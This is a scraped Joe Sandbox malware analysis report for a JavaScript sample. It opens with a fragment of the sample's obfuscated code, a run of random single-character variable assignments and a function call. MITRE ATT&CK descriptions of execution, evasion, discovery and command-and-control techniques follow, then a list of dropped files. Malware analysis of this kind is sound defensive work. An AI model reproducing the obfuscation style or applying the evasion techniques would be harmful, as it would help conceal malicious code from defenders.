1337	fvfovw = "I";
1338	fvfovw = "W";
1339	fvfovw = "Y";
1340	fvfovw = "j";
1341	fvfovw = "t";
1342	fvfovw = "C";
1343	fvfovw = "y";
1344	fvfovw = "Y";
1345	fvfovw = "U";
1346	fvfovw = "q";
1347	fvfovw = "N";
1348	fvfovw = "k";
1349	fvfovw = "v";
1350	fvfovw = "B";
1351	fvfovw = "a";
1352	fvfovw = "k";
1353	fvfovw = "P";
1354	fvfovw = "C";
1355	fvfovw = "C";
1356	fvfovw = "e";
1357	fvfovw = "a";
1358	fvfovw = "a";
1359	fvfovw = "k";
1360	fvfovw = "1";
1361	mkjev = "P";
1362	mkjev = "V";
1363	mkjev = "F";
1364	mkjev = "E";
1365	mkjev = "c";
1366	mkjev = "G";
1367	mkjev = "O";
1368	mkjev = "r";
1369	mkjev = "g";
1370	mkjev = "T";
1371	mkjev = "t";
1372	mkjev = "w";
1373	qsuciow = "i";
1374	qsuciow = "E";
1375	qsuciow = "s";
1376	qsuciow = "x";
1377	qsuciow = "V";
1378	qsuciow = "X";
1379	qsuciow = "j";
1380	qsuciow = "P";
1381	qsuciow = "M";
1382	qsuciow = "y";
1383	qsuciow = "M";
1384	qsuciow = "Q";
1385	qsuciow = "H";
1386	qsuciow = "B";
1387	qsuciow = "x";
1388	qsuciow = "F";
1389	qsuciow = "P";
1390	qsuciow = "m";
1391	qsuciow = "Z";
1392	qsuciow = "D";
1393	qsuciow = "R";
1394	qsuciow = "j";
1395	qsuciow = "A";
1396	qsuciow = "g";
1397	qsuciow = "O";
1398	qsuciow = "g";
1399	qsuciow = "M";
1400	qsuciow = "i";
1401	qsuciow = "w";
1402	qsuciow = "X";
1403	qsuciow = "R";
1404	qsuciow = "X";
1405	qsuciow = "S";
1406	qsuciow = "m";
1407	qsuciow = "s";
1408	qsuciow = "A";
1409	qsuciow = "b";
1410	qsuciow = "k";
1411	vkfrj ( );	vkfrj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 315965636547620220.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\98307248-ef7d-40cb-b7d5-5bcf5d38d9ce.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6240

Windows Analysis Report
315965636547620220.js